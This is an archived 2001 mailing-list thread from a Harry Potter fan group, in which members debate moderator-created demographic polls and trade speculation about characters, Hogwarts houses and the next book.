not collected via email. To vote, you must go to the Yahoo! Groups 
web site listed above.

Thanks!

 







From HPforGrownups at yahoogroups.com  Thu Sep 20 19:37:33 2001
From: HPforGrownups at yahoogroups.com (HPforGrownups at yahoogroups.com)
Date: 20 Sep 2001 19:37:33 -0000
Subject: New poll for HPforGrownups 
Message-ID: <1001014653.79.57127.s9@yahoogroups.com>

No: HPFGUIDX 26345


Enter your vote today!  A new poll has been created for the 
HPforGrownups group:

What is your sexual orientation? 

  o Heterosexual 
  o Homosexual 
  o Bisexual 


To vote, please visit the following web page:

http://groups.yahoo.com/group/HPforGrownups/polls 

Note: Please do not reply to this message. Poll votes are 
not collected via email. To vote, you must go to the Yahoo! Groups 
web site listed above.

Thanks!

 







From petrukio at enteract.com  Thu Sep 20 19:39:49 2001
From: petrukio at enteract.com (Joel N. Fischoff)
Date: Thu, 20 Sep 2001 14:39:49 -0500 (CDT)
Subject: [HPforGrownups] New poll for HPforGrownups
In-Reply-To: <1001014653.79.57127.s9@yahoogroups.com>
Message-ID: <Pine.BSF.4.21.0109201438510.76461-100000@shell-2.enteract.com>

No: HPFGUIDX 26346

On 20 Sep 2001 HPforGrownups at yahoogroups.com wrote:
>What is your sexual orientation? 

Uh, I hate to say this, but...

What the bloody hell is this?  How can this possibly be on-topic, or, for
that matter, your business?

Joel




From HPforGrownups at yahoogroups.com  Thu Sep 20 19:41:11 2001
From: HPforGrownups at yahoogroups.com (HPforGrownups at yahoogroups.com)
Date: 20 Sep 2001 19:41:11 -0000
Subject: New poll for HPforGrownups 
Message-ID: <1001014871.306.41042.ae@yahoogroups.com>

No: HPFGUIDX 26347


Enter your vote today!  A new poll has been created for the 
HPforGrownups group:

What best describes your political beliefs? 

  o Left-wing 
  o Moderate (tending left) 
  o Moderate (centrist) 
  o Moderate (tending right) 
  o Right-wing 
  o Anarchist 
  o Other 


To vote, please visit the following web page:

http://groups.yahoo.com/group/HPforGrownups/polls 

Note: Please do not reply to this message. Poll votes are 
not collected via email. To vote, you must go to the Yahoo! Groups 
web site listed above.

Thanks!

 







From heidi.h.tandy.c92 at alumni.upenn.edu  Thu Sep 20 19:38:09 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Thu, 20 Sep 2001 15:38:09 -0400
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D06@MIAEXCH1>

No: HPFGUIDX 26348

Penny asked me to let all of you know that an explanation of why these polls
are being presented will be forthcoming. She had hoped to get the polls up
AND the explanation as well before her 4 month old woke from her nap, but it
didn't work that way.

Later today, some comments about WHY these questions are being asked will be
posted by the Mod Squad. Just as a precursor to that, the answers to the
polls will be blind - in other words, your name will not be attached to the
answer that you give.

Patience, guys...



From rowena_grunnion_ffitch at yahoo.com  Thu Sep 20 19:53:55 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Thu, 20 Sep 2001 12:53:55 -0700 (PDT)
Subject: Of Mundungus Fletcher and Silver Hands
In-Reply-To: <9od609+mq6a@eGroups.com>
Message-ID: <20010920195355.95177.qmail@web20802.mail.yahoo.com>

No: HPFGUIDX 26349

   Doesn't Mr. Weasley say a Mundungus Fletcher nearly
hexed him during a Ministry raid? This would suggest
MF is either a suspicious character or one of the
Ministry team whose aim was a bit off in all the
excitement.
   Silver hands are not unknown in folklore. For
example there was a Nuada of the Silver Hand, a King
of the Fair Folk if I remember correctly. 

__________________________________________________
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From jkusalavagemd at yahoo.com  Thu Sep 20 20:30:48 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Thu, 20 Sep 2001 20:30:48 -0000
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D06@MIAEXCH1>
Message-ID: <9odjlo+to45@eGroups.com>

No: HPFGUIDX 26350

--- In HPforGrownups at y..., "Tandy, Heidi" <heidi.h.tandy.c92 at a...> 
wrote:
> Penny asked me to let all of you know that an explanation of why 
these polls
> are being presented will be forthcoming. She had hoped to get the 
polls up
> AND the explanation as well before her 4 month old woke from her 
nap, but it
> didn't work that way.
> 
> Later today, some comments about WHY these questions are being asked 
will be
> posted by the Mod Squad. Just as a precursor to that, the answers to 
the
> polls will be blind - in other words, your name will not be attached 
to the
> answer that you give.
> 
> Patience, guys...

You have treated the matters of religion and sexual orientation as 
sacred cows, the mere mention of which will cause the poster to burst 
into flames.  Now you are collecting data on the faiths and sexuality 
of the members?  What is important is not the percentage makeup of the 
list, but our views and the free exercise of an opportunity to speak 
about them within the bonds of courtesy.  I do not answer these 
questions on US government forms.  I think you are literally out of 
order in this matter.  What should come first is an explanation of 
what need there might be for such polls and the uses to which this 
information will be put. You have not earned the benefit of the doubt 
here by your previous actions, IMHO.  Whether or not you will publish 
personal information, this information is personally linked to each 
one of us listees.

Haggridd




From HPforGrownups at yahoogroups.com  Thu Sep 20 20:37:09 2001
From: HPforGrownups at yahoogroups.com (HPforGrownups at yahoogroups.com)
Date: 20 Sep 2001 20:37:09 -0000
Subject: New poll for HPforGrownups 
Message-ID: <1001018229.7403.87828.q1@yahoogroups.com>

No: HPFGUIDX 26351


Enter your vote today!  A new poll has been created for the 
HPforGrownups group:

How would you describe your ethnicity? 

  o Caucasian 
  o African-American 
  o Hispanic 
  o Native American 
  o Asian 
  o Middle Eastern 
  o African 
  o Other 


To vote, please visit the following web page:

http://groups.yahoo.com/group/HPforGrownups/polls 

Note: Please do not reply to this message. Poll votes are 
not collected via email. To vote, you must go to the Yahoo! Groups 
web site listed above.

Thanks!

 







From s_ings at yahoo.com  Thu Sep 20 20:41:10 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Thu, 20 Sep 2001 13:41:10 -0700 (PDT)
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
In-Reply-To: <9odjlo+to45@eGroups.com>
Message-ID: <20010920204110.71668.qmail@web14604.mail.yahoo.com>

No: HPFGUIDX 26352

> --- In HPforGrownups at y..., "Tandy, Heidi"
> <heidi.h.tandy.c92 at a...> 
> wrote:
> > Penny asked me to let all of you know that an
> explanation of why 
> these polls
> > are being presented will be forthcoming. She had
> hoped to get the 
> polls up
> > AND the explanation as well before her 4 month old
> woke from her 
> nap, but it
> > didn't work that way.
> > 
> > Later today, some comments about WHY these
> questions are being asked 
> will be
> > posted by the Mod Squad. Just as a precursor to
> that, the answers to 
> the
> > polls will be blind - in other words, your name
> will not be attached 
> to the
> > answer that you give.
> > 
> > Patience, guys...

I don't have a problem with answering these questions
and have, indeed, already done so. I just wanted to
point out that while the US is present, I didn't see
any of the rest of the America's. Am I just being
blind here (entirely possible considering how tired I
am)?

Sheryll, currently a resident of a country called 'Other'

=====
"We need to be united and strong. We'll have losses and scares, sure. And you'll be there for each other, helping each other through the bad times."
 blpurdom - Harry Potter and the Psychic Serpent, Chapter 26

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From cynthiaanncoe at home.com  Thu Sep 20 20:45:09 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 20 Sep 2001 20:45:09 -0000
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
In-Reply-To: <9odjlo+to45@eGroups.com>
Message-ID: <9odkgl+1ink@eGroups.com>

No: HPFGUIDX 26353

--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
> You have treated the matters of religion and sexual orientation as 
> sacred cows, the mere mention of which will cause the poster to 
burst 
> into flames.  Now you are collecting data on the faiths and 
sexuality 
> of the members?  What is important is not the percentage makeup of 
the 
> list, but our views and the free exercise of an opportunity to 
speak 
> about them within the bonds of courtesy.  I do not answer these 
> questions on US government forms.  I think you are literally out of 
> order in this matter.  What should come first is an explanation of 
> what need there might be for such polls and the uses to which this 
> information will be put. You have not earned the benefit of the 
doubt 
> here by your previous actions, IMHO.  Whether or not you will 
publish 
> personal information, this information is personally linked to each 
> one of us listees.
> 

I'm inclined to agree with Haggridd, although I'll reserve judgment 
pending a really good explanation.

But I do want to point something out.  Today, Laura posted 15 
questions about the next book.  I answered them right away because I 
thought they were interesting.  After all, we have 10 months to kill 
until the next book, and anyone who can think of a way to make canon 
interesting at this point is showing some real creativity.  Lots of 
people seemed interested and answered.  Then, Laura was told in no 
uncertain terms to take it to OT Chatter, and the "derby" now seems 
dead.

Then, we get a series of posts telling us we're going to be asked a 
bunch of sensitive questions having nothing to do with HP.  I thought 
it was a hoax.

I am not trying to be rude or contentious here, but I find myself 
puzzled about the group's mission based on today's events.

Cindy 




From heidi.h.tandy.c92 at alumni.upenn.edu  Thu Sep 20 20:42:23 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Thu, 20 Sep 2001 16:42:23 -0400
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D0C@MIAEXCH1>

No: HPFGUIDX 26354

I have a question here: 
Cynthia wrote: 

> But I do want to point something out.  Today, Laura posted 15 
> questions about the next book.  I answered them right away because I 
> thought they were interesting.  After all, we have 10 months to kill 
> until the next book, and anyone who can think of a way to make canon 
> interesting at this point is showing some real creativity.  Lots of 
> people seemed interested and answered.  Then, Laura was told in no 
> uncertain terms to take it to OT Chatter, and the "derby" now seems 
> dead.

WHY should something be dead just because it's on OT-Chatter? 
WHY should people not reply over there? Why should moving it to another list
make it impossible for people to post replies on that list? It's not like
it's hard to find, given that Penny put the URL right into the message
moving the thread. 

I admit to being completely confused.



From pennylin at swbell.net  Thu Sep 20 20:47:53 2001
From: pennylin at swbell.net (pennylin at swbell.net)
Date: Thu, 20 Sep 2001 20:47:53 -0000
Subject: ADMIN: Tolerance; Diversity Polls on HPforGrownups
Message-ID: <9odklp+u85l@eGroups.com>

No: HPFGUIDX 26355

Hi everyone --

Your Magical Moderator Team would like to take a moment to
remind everyone of the vast diversity of membership that we have on
HPforGrownups. We are a large (over 2000 members & counting),
international, multi-ethnic group.  Our members possess the complete
range of views on religion, politics, sexuality and other important
lifestyle & cultural issues.  When you are posting a message to this
list (or any of our affiliated lists such as OT-Chatter) or
participating in our chats, please be respectful of this diversity of
opinion.

We keep talking about what a diverse list we are, and we decided it
might be fun to *see* visually how diverse we are.  So, we've set up a
few polls to track where our members live & what our views are on some
controversial subjects (of course, the poll will be blind so that
noone can see how each individual responded).  We wish it could be an
all-inclusive diversity poll, but Yahoogroups polls are limited to one
question per poll.  There is also an ongoing poll on the ages of our
members, so if you haven't voted in that one (or if you moved into a
different age range ...ahem...since you last voted), please vote in
that one too!  Here's where to vote:

http://groups.yahoo.com/group/HPforGrownups/polls

Keep in mind that (a) no one is forcing you to vote in any of these
polls, (b) you can participate in some but not all if you prefer, and
(c) no one will know how you answered any of these questions (voting
results will not be displayed).

I'm sorry for the confusion caused by my setting up the polls and then
not having time to get this explanatory message out to you.  My
daughter woke up earlier than expected for her next feeding.  But
again, there is really no need for a hostile reaction.  This is just
supposed to be fun (and interesting to see the results), and you can
participate or not as you choose.

This message is being sent as a "Special Announcement."  All members
of HPforGrownups, even those who signed up for Webview access to the
group, will receive it via email.  If you're a webview member but
haven't visited our group homepage recently, here's the link:

http://groups.yahoo.com/group/HPforGrownups

Magically yours --

Penny
Magical Moderator Team for HPforGrownups







From pengolodh_sc at yahoo.no  Thu Sep 20 20:59:47 2001
From: pengolodh_sc at yahoo.no (pengolodh_sc at yahoo.no)
Date: Thu, 20 Sep 2001 20:59:47 -0000
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
In-Reply-To: <9odjlo+to45@eGroups.com>
Message-ID: <9odlc3+tjvn@eGroups.com>

No: HPFGUIDX 26356

--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
> Whether or not you will publish 
> personal information, this information is personally linked to each 
> one of us listees.
> 
> Haggridd

Actually, it is not.  I voted in the polls in question, and the polls 
afterwards just show the number of people that voted for each option, 
not who they are.  This is an option that can be set when the poll is 
created.

Best regards
Christian Stub?




From peterhbrine at yahoo.com  Thu Sep 20 21:02:15 2001
From: peterhbrine at yahoo.com (peterhbrine at yahoo.com)
Date: Thu, 20 Sep 2001 21:02:15 -0000
Subject: Discussion: Sorting Hat, Founders, and the Hogwarts Houses
In-Reply-To: <000001c13ff6$ae5a4220$e9d41a41@breev>
Message-ID: <9odlgn+tln6@eGroups.com>

No: HPFGUIDX 26357

> 
> 2)	What houses do you think some of the people belonged to when
> they went to Hogwarts? Such as, what house produced batty ol' 
Trelawney
> anyways? 
> 
I've spent the last hour scouring the message boards for someone to 
ask this question!  (I should have started at the end).  Following 
are some of my ideas - note that I have not conducted an exhastive 
search to verify or deny these speculations, thus my rather vague 
references to events in the books - so take them with a grain of salt.

Hagrid: Hufflepoof - loyal and hardworking.  Hagrid is big and 
strong, but I would not characterize him as overly brave as 
demonstrated by his running and hiding when Rita Skeeter reveals his 
parentage in GoF, so Griffindor is out, not the smartest bulb in the 
pack so not Ravenclaw and absolutely not a Slytherin. 

Molly Weasley: we know she was in Griffindor

Arthur Weasley: though not stated I think we can say for sure he was 
NOT in Griffindor.  Why?  When Molly visits Hogwarts to watch the 
third task in GoF she refers to the Fat Lady being at Hogwarts in her 
day.  The fat lady gave Molly a severe telling off for returning to 
the dorm at 4:00AM after being out for a stroll with Arthur.  Why 
wasn't Arthur told off as well?  He got caught by the caretaker. Why 
wasn't Molly caught as well?  Because Arthur was returning to another 
dorm (my speculation).  My first guess would be Hufflepoof - 
demonstrated by the fact that Arthur is hardworking, friendly, loyal 
and not particularly ambitious, but he could also be Ravenclaw - as 
demonstrated by his dedication to his studies.  

I'd also like to second the opinion that Arthur is secretly a member 
of the Department of Magic.  He seems much more important than 
his "lowly"  (other character's opinion, not mine)position in the 
Muggles Affairs office would suggest.  He also seems to know 
EVERYTHING that goes on in the Ministry - just a good beaurocrat or 
something more?  

Dumbledore: we know Griffindor

Ludo Bagman: Slytherin - He's too inept for Ravenclaw. I can't see 
any Hufflepoof convincing a student to cheat in clear violation of a 
binding magical contract in order to ensure they win a bet.  And a 
Griffindor would face their problems head on instead of continuously 
running away from them as Ludo does when constantly pestered by the 
twins for their winnings.  This leaves Slytherin.  This would also 
help explain why Ludo was mixed up with a bunch of Voldmort's 
supporters (he knew them in school).  Ludo was certainly ambitious 
enough to put the work into making the British Quidditch team, rising 
to the head of Deparment of Magical Games and Sports and organizing 
the Tri-Wizard tournament (a task that was argueably just beyond his 
capabilities)  Remember - you don't have to be evil to be in 
Slytherin, just ambitious.

Bartimus Crouch, Sr.: Sltherin - see the evil statement above - and 
Sirius takes great pains to emphasis Crouch's ambition while filling 
in the back story in GoF.

Snape: Slytherin, obviously.  A word about Severus.  I believe deep 
down he is truely good.  His obsession with the dark side has more to 
do with a fascination with right and wrong than evil.  Severus is 
obsessed with Harry and co. breaking the rules - both the school 
rules and the "social" rules (children are to be seen and not heard, 
kids Harry's age shouldn't be getting press attention) on the few 
occasions he had to refer to Harry's father he harped on the idea 
that Harry's father (like Harry) felt that rules were not meant to 
apply to him.  Severus sees following rules as paramountly important 
even to the point of idiocy (e.g., his fascination with where the 
Lupis went every month when they were in school).  His obsession with 
the Dark Arts is a manifestation of this - he does everything he can 
to learn about them because it is the forbidden fruit, the ultimate 
breaking of the rules.  However this fascination does not mean he 
wants to use the Dark Arts, quite the opposite - given the 
opportunity to use it for evil ends he will balk (my speculation).  
In the end he must obey the rules.  

Given that ambition did not drive him to learn the Dark Arts he may 
have actually come out of Ravenclaw.  The fact that he "ran with a 
Slytherin crowd that almost all became Death Eaters" (my impercise 
quote) may have been all the more noteworthy because he was NOT a 
Slytherin.  However, in the end Slytherin is the logical house for 
Snape, though I can imagine the Sorting Hat had quite a time deciding 
where to sort him.


Cornelius Fudge:  You'd think Slytherin, but I think Hufflepoof.  I 
am not convinced he is overly ambitous - he only got the job of 
Minister after Dumbledore refused - you get the feeling he was 
a "safe" choice people felt comfortable with after the horrendous 
days of Voldemort.  He values tradition, is a friendly sort, not 
particularly brilliant and again, though he may appreciate his 
position now, not ambitious enough to set out to achieve it.  His 
head in the sand approach to Voldemort's return could be seen as the 
flipside of the Hufflepoof personality qualities - stubborn, 
unwilling to accept change, too involved in keeping things running 
smoothly to stick his head up and see what is really going on.

Moody:  Griffindor (obviously NOT the Barty Crouch, Jr. Moody) 
Honest, courageous, fair.  Need I say more?

Barty Crouch, Jr.:  Ravenclaw, not much to go on here except smart 
(Barty Crouch, Sr. refers to Jr.'s 12 O.W.L.s while shaking off the 
Imperious charm when he comes to Hogwarts to find Dumbledore) and he 
seemed to be motivated to join Voldemort not because of ambition but 
because of revenge.  This in a way makes him more dangerous than any 
of the other Death Eaters, he isn't motivated but his "rational" self 
interest, but something much more twisted.  If he was a Griffindor he 
would have confronted his father head on, if a Hufflepoof he would 
have suffered his father's neglect silently.

McGonagal - Griffindor  (I am assuming that besides character traits, 
the heads of the houses were members of those houses when they 
attended Hogwarts)

Flitwick - Ravenclaw

Sprout - Hufflepoof

Marauders - I really like the idea that the Marauders belonged to 
different houses; Potter - Griffindor, Black - Slytherin (couldn't 
you just see some early Sirius/James rivalry evolving into an 
extreemely close friendship?), Lupin - Hufflepoof and Pettigrew - 
Ravenclaw, for all the reasons outlined in earlier posts.  However, I 
don't think JKR has that in mind.  It makes things much simpler to 
put them all in Griffindor.

Those are my thoughts - any other suggestions?

-Peter




From driveslucy at aol.com  Thu Sep 20 21:06:14 2001
From: driveslucy at aol.com (driveslucy at aol.com)
Date: Thu, 20 Sep 2001 17:06:14 EDT
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
Message-ID: <9a.1a0fe541.28dbb446@aol.com>

No: HPFGUIDX 26358

In a message dated 9/20/01 3:52:28 PM Central Daylight Time, 
heidi.h.tandy.c92 at alumni.upenn.edu writes:


> WHY should something be dead just because it's on OT-Chatter? 
> WHY should people not reply over there? Why should moving it to another list
> make it impossible for people to post replies on that list? It's not like
> it's hard to find, given that Penny put the URL right into the message
> moving the thread. 
> 
> I admit to being completely confused.
> 
> 

It is dead to anyone, like myself, who chooses not to belong to Chatter.  I 
don't even read all the messages from this group and don't want to fill my 
mailbox with a bunch of OT stuff.  But I was enjoying the speculation on the 
Derby thread.  Just my luck.

Luce


[Non-text portions of this message have been removed]




From cynthiaanncoe at home.com  Thu Sep 20 21:10:49 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 20 Sep 2001 21:10:49 -0000
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D0C@MIAEXCH1>
Message-ID: <9odm0p+p8ct@eGroups.com>

No: HPFGUIDX 26359

--- In HPforGrownups at y..., "Tandy, Heidi" <heidi.h.tandy.c92 at a...> 
wrote:
> 
> WHY should something be dead just because it's on OT-Chatter? 
> WHY should people not reply over there? Why should moving it to 
another list
> make it impossible for people to post replies on that list? It's 
not like
> it's hard to find, given that Penny put the URL right into the 
message
> moving the thread. 
> 
> I admit to being completely confused.

I made that comment because this list has 2000 members (so i've 
heard), and the other list is much smaller.  Also, replies dropped 
off after the administrators' message, and the two people who did 
reply promptly posted an "Oops" message.  There was only one other 
response on OT chatter (although I haven't popped over to that list 
since).

I hope I'm wrong and Laura will revive the predictions for some 
discussion when the next book comes out.

Cindy (allowing for the possibility that it is she who is confused)




From DaveH47 at mindspring.com  Thu Sep 20 21:20:22 2001
From: DaveH47 at mindspring.com (Dave Hardenbrook)
Date: Thu, 20 Sep 2001 14:20:22 -0700
Subject: [HPforGrownups] OoF Prediction Derby (LONG)
In-Reply-To: <9od07u+m95e@eGroups.com>
References: <9od07u+m95e@eGroups.com>
Message-ID: <13472952411.20010920142022@mindspring.com>

No: HPFGUIDX 26360

Okay, here's my attempt to bring Glory to Hufflepuff
House... ( Feel free to comment ask me for elaboration. :) )

Thursday, September 20, 2001, 7:59:10 AM, you wrote:

jhc> 1.  What new magical place will we visit?

Azkaban... I think Fudge will send Dumbledore there
for refusing to expell Harry (because he's a parselmouth
and "extremely dangerous") and Harry finds an ingenious way
to get past the dementors and rescue him!

jhc> 2.  Are any of the Dursleys wizards?  Who?

Petunia is really a frustrated squib who has been lying to
Vernon all these years.  Snape is really named Perseus Evans
and is Lily and Petunia's half-brother.

jhc> 3.  Identify the next DADA teacher.

I think we will be treated to another year of Mad-Eye,
only the *real* one this time...

jhc> 4.  Which "beloved" character(s) will die?  Any other deaths, and if 
jhc> so, who?

She has said "A great fan" of Harry's, so I think it might be
one of the Creevys.

jhc> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
jhc> Bagman, Madam Maxime, which characters will have speaking lines in 
jhc> OoF?

Moody, Lupin and Sirius: Will help Harry in whatever heroics
         he's involved with.

Madam Maxime: She and Hagrid will face Hagrid's mum.

Fleur: Will be Snape's teacher's aid.  (Making Potions
         bearable for Ron.)

Krum: Will trasfer to Hogwarts and become Gryffindor's
       new Quidditch captain.  (And spar with Harry for
       the Seeker position.)

Dobby, Winky, Bagman and Lockhart: Not in this book, but will be in future...

jhc> 6.  At the end of OoF, will Dumbledore be the headmaster?

At the *end*, yes, but I don't think he will be for *most* of
the book!  I think Fudge will sack him (see #1) and Snape will
be HM for most of the book!

jhc> 7.  At the end of OoF, will Fudge be the Minister of Magic?

Yes, sadly.

jhc> 8.  At the end of OoF, will Neville be the same forgetful boy, or 
jhc> will he have changed in some way?

I think Neville will start breaking through the memory charms that
have stifled him for so long... By Book 7 he will be a great wizard.

jhc> 9.  At the end of OoF, will Sirius have cleared his name?

No, but I think all of Dumbledore's inner circle (including
Snape) will have accepted his innocence.

jhc> 10.  Will Harry and Voldemort have a confrontation?

Yes.  Then he'll lie low in Book 6, and then the final confrontation
in the last book.

jhc> 11.  Of the following magical things, which will a character use or 
jhc> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
jhc> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
jhc> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
jhc> bus.

The Marauder's Map (even if Dumbledore confiscates it), and
possibly some of Moody's "Dark Detectors"...

jhc> 12.  Will there be Quiddich at Hogwarts?  If so, who will be the 
jhc> Gryffindor Keeper?  Gryffindor Captain?

(See above comments on Krum.)

jhc> 13.  Will anyone else turn out to be an animagus?  Who?

No.  (It's a tired plot device IMHO)

jhc> 14.  Who is Mundungus Fletcher?

He will turn out to be actually Merlin (yes, *the* Merlin), recently
released from the cave he got trapped in for all those centuries!

jhc> 15.  Will Wormtail use his silver hand in an important way?

In Book 7, he'll save Harry by strangling Nagini.

-- 
Dave




From heidi.h.tandy.c92 at alumni.upenn.edu  Thu Sep 20 21:11:24 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Thu, 20 Sep 2001 17:11:24 -0400
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D0D@MIAEXCH1>

No: HPFGUIDX 26361

> In a message dated 9/20/01 3:52:28 PM Central Daylight Time, 
> heidi.h.tandy.c92 at alumni.upenn.edu writes:
> 
> 
> > WHY should something be dead just because it's on OT-Chatter? 
> > WHY should people not reply over there? Why should moving 
> it to another list
> > make it impossible for people to post replies on that list? 
> It's not like
> > it's hard to find, given that Penny put the URL right into 
> the message
> > moving the thread. 
> > 
> > I admit to being completely confused.
> > 
> > 
> 
> It is dead to anyone, like myself, who chooses not to belong 
> to Chatter.  I 
> don't even read all the messages from this group and don't 
> want to fill my 
> mailbox with a bunch of OT stuff.  But I was enjoying the 
> speculation on the 
> Derby thread.  Just my luck.

Then why not join the OT list and read the posts on webview? I don't want to
sound argumentative, but have you even looked at OT-Chatter? It's not just
rambles - it's..."roll calls" (and always has been) and merchandise and
birthdays (canon and fandom - we celebrated Hermione yesterday!) and fanfic
and Nostradamus and food (lots of food!) and a cool online encyclopedia
called Wikepedia and The Sims and the Changing of the Guard at Buckingham
Palace and Yael's post about her cousin who is still missing from last
week's attack and Vanity Fair and the movie and previews and The Leaky
Cauldron and FictionAlley.org and the fact that James Potter's name is in
the credits from the Muppet Movie. 

I know that the mods are trying VERY VERY hard to keep as many people happy
as possible at the same time. And part of this inlcudes taking *certain*
things and bringing them to OT Chatter. Now, the ADMINs never said that the
individual questions couldn't be discussed onlist. They just pointed out
that contests and roll calls are to be on OT Chatter. it's nothing new -
it's been that way since the chatter-list started back in February.

Let me ask another question - is the name OT-CHATTER offputting? Do listies
think that it's a rambly, completely non-HP-related thing over there? If you
WON'T join, or even look at it, WHY NOT?




From pennylin at swbell.net  Thu Sep 20 21:16:57 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Thu, 20 Sep 2001 16:16:57 -0500
Subject: Locality Poll (missing Canada & others)
Message-ID: <3BAA5CC9.9090902@swbell.net>

No: HPFGUIDX 26362

Hi --

Sheryll -- I'm so sorry that I forgot Canada & Latin America!  I knew I 
should have consulted an atlas.  Heidi reminds me that we had an ongoing 
location poll, so I've deleted the faulty one.  Everyone can vote in the 
old on-going one if they like (although it does display identities -- 
not blind voting in other words).  It was created by Ebony on January 11th.

It was really not intended that the polls would spark any discussion. 
It was just meant to be a fun thing that people could choose to do or 
not. I hope we can just leave it at that.

Penny




From s_ings at yahoo.com  Thu Sep 20 21:25:28 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Thu, 20 Sep 2001 14:25:28 -0700 (PDT)
Subject: [HPforGrownups] Locality Poll (missing Canada & others)
In-Reply-To: <3BAA5CC9.9090902@swbell.net>
Message-ID: <20010920212528.99965.qmail@web14606.mail.yahoo.com>

No: HPFGUIDX 26363


--- Penny & Bryce <pennylin at swbell.net> wrote:
> Hi --
> 
> Sheryll -- I'm so sorry that I forgot Canada & Latin
> America!  I knew I 
> should have consulted an atlas.  Heidi reminds me
> that we had an ongoing 
> location poll, so I've deleted the faulty one. 
> Everyone can vote in the 
> old on-going one if they like (although it does
> display identities -- 
> not blind voting in other words).  It was created by
> Ebony on January 11th.
> 
> It was really not intended that the polls would
> spark any discussion. 
> It was just meant to be a fun thing that people
> could choose to do or 
> not. I hope we can just leave it at that.
> 
No need to apologise for the omission. I know how busy
a schedule can be when a baby is involved (yes, my
memory does extend back 18 years). I knew it was
simply a matter of trying to get it done and up, while
dealing with a young'un.

Sheryll, who is now a proud resident of Canada (though
living in a country called 'Other' did have a certain
ring to it)

=====
"We need to be united and strong. We'll have losses and scares, sure. And you'll be there for each other, helping each other through the bad times."
 blpurdom - Harry Potter and the Psychic Serpent, Chapter 26

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From oppen at cnsinternet.com  Thu Sep 20 21:38:30 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Thu, 20 Sep 2001 16:38:30 -0500
Subject: A couple of thoughts about Peter Pettigrew...
Message-ID: <009101c1421c$98164b80$fac71bce@hppav>

No: HPFGUIDX 26364

You know, it occured to me just now that Voldemort gave Pettigrew a _silver_
hand to replace the one he cut off.  Is it real silver?  We know that it can
do things an ordinary hand cannot do.  (Pettigrew crushed a twig between his
fingers---that hand is STRONG.)

Now, there's a much-loved character who probably has a real nasty allergy to
silver---Remus Lupin.  Could Herself be setting us up for a big
Lupin-vs.-Pettigrew confrontation, with Lupin turning wolf in desperation
while Pettigrew tries to choke the life out of him with his silver hand?

Also, I've been rereading Lord of the Rings, and I keep thinking about
Wormtail when I see how Saruman treats "Wormtongue," the traitorious
ex-Rohir that eventually kills him.  Is it possible that Herself is planning
to have Pettigrew redeem himself at the end by killing Voldemort, possibly
at the cost of his own life?  Or is that a bit too "Star Wars" for her?

Well, hope you enjoyed my questions.  If either have been discussed to death
already, let me know and I'll go slam my ears in the oven for a while.

--Eric




From cassandraclaire73 at yahoo.com  Thu Sep 20 21:36:41 2001
From: cassandraclaire73 at yahoo.com (cassandraclaire73 at yahoo.com)
Date: Thu, 20 Sep 2001 21:36:41 -0000
Subject: ADMIN RE: [HPforGrownups] New polls for HPforGrownups
In-Reply-To: <9odjlo+to45@eGroups.com>
Message-ID: <9odnh9+akb5@eGroups.com>

No: HPFGUIDX 26365

--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:

> 
> You have treated the matters of religion and sexual orientation as 
> sacred cows, the mere mention of which will cause the poster to 
burst  into flames.  Now you are collecting data on the faiths and 
sexuality  of the members?  What is important is not the percentage 
makeup of  list, but our views and the free exercise of an 
opportunity to speak  about them within the bonds of courtesy.

  I do not answer these  questions on US government forms.  I think 
you are literally out of   order in this matter.  What should come 
first is an explanation of  what need there might be for such polls 
and the uses to which this   information will be put. You have not 
earned the benefit of the  here by your previous actions, IMHO.  
Whether or not you will publish  personal information, this 
information is personally linked to each   one of us listees.
> 
> Haggridd

---------
No, it isn't. As stated before the polls are blind and who replied 
and in what way they replied is hidden. Also, it is entirely 
optional, no one ever stated that anyone had to participate in the 
polls. If you don't want to, don't. I'm not going to but that doesn't 
mean I think the polls shouldn't have been posted.

I'm sorry if I sound short, it's just that the moderator team tries 
very very hard to keep a huge list of very diverse people happy. 
Obviously nobody can keep this amount of people happy all the time 
but I think a certain amount of credit should be given to them for 
working so hard for no monetary recompense. In fact, their recompense 
lately seems to be to have people swear at them on list.

As a final note, I am grateful to them for treating matters of 
religion and sexual orientation as not necessarily appropriate for 
this list. This is not a government forum where free speech on any 
and all topics is ours by right. When you join this list you agree to 
